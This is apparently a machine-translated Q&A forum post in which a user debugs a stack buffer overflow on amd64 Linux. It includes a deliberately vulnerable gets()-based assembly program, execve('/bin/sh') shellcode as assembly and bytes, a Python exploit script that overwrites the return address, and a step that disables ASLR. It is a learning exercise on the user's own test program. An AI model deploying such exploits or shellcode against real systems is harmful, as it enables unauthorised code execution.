Tôi đã chơi xung quanh với tràn bộ đệm trên Linux (amd64) và cố gắng khai thác một chương trình đơn giản nhưng không thành công. Tôi vô hiệu hóa các tính năng bảo mật (ngẫu nhiên bố trí không gian địa chỉ với sysctl -w kernel.randomize_va_space = 0 và bit nx trong bios). Nó nhảy vào ngăn xếp và thực hiện shellcode, nhưng nó không bắt đầu một shell. Các syscall thực hiện thành công nhưng sau đó nó chỉ chấm dứt. Bất kỳ ý tưởng gì là sai? Chạy shellcode độc lập hoạt động tốt.Shellcode cho một tràn ngăn xếp đơn giản: Chương trình được khai thác với shell chấm dứt trực tiếp sau khi thực thi ("/ bin/sh")
Câu hỏi về tiền thưởng: Tại sao tôi cần đặt rax thành 0 trước khi gọi printf? (Xem comment trong code)
dễ bị tổn thương tập tin buffer.s:
.data
.fmtsp:
.string "Stackpointer %p\n"
.fmtjump:
.string "Jump to %p\n"
.text
.global main
main:
push %rbp
mov %rsp, %rbp
sub $120, %rsp
# calling printf without setting rax
# to zero results in a segfault. why?
xor %rax, %rax
mov %rsp, %rsi
mov $.fmtsp, %rdi
call printf
mov %rsp, %rdi
call gets
xor %rax, %rax
mov $.fmtjump, %rdi
mov 8(%rbp), %rsi
call printf
xor %rax, %rax
leave
ret
shellcode.s
.text
.global main
main:
mov $0x68732f6e69622fff, %rbx
shr $0x8, %rbx
push %rbx
mov %rsp, %rdi
xor %rsi, %rsi
xor %rdx, %rdx
xor %rax, %rax
add $0x3b, %rax
syscall
exploit.py
shellcode = "\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x48\x83\xc0\x3b\x0f\x05"
stackpointer = "\x7f\xff\xff\xff\xe3\x28"
output = shellcode
output += 'a' * (120 - len(shellcode)) # fill buffer
output += 'b' * 8 # override stored base pointer
output += ''.join(reversed(stackpointer))
print output
Biên soạn với:
$ gcc -o buffer buffer.s
$ gcc -o shellcode shellcode.s
Bắt đầu với:
$ python exploit.py | ./buffer
Stackpointer 0x7fffffffe328
Jump to 0x7fffffffe328
Debugging với gdb:
$ python exploit.py > exploit.txt (Note: corrected stackpointer address in exploit.py for gdb)
$ gdb buffer
(gdb) run < exploit.txt
Starting program: /home/henning/bo/buffer < exploit.txt
Stackpointer 0x7fffffffe308
Jump to 0x7fffffffe308
process 4185 is executing new program: /bin/dash
Program exited normally.
Tôi giả sử% rsi% là argv. Nó có thể là NULL? –
Thực thi shellcode trực tiếp ("$ ./shellcode") hoạt động, vì vậy tôi giả định rằng nó không phải là vấn đề. Tương đương C #include void main() {execve ("/ bin/sh", NULL, NULL); } cũng khởi động trình bao. –
henning
Lỗi bạn nhận được là gì? Bạn có thể hình dung ra (tôi cho rằng nó là% rax%)? –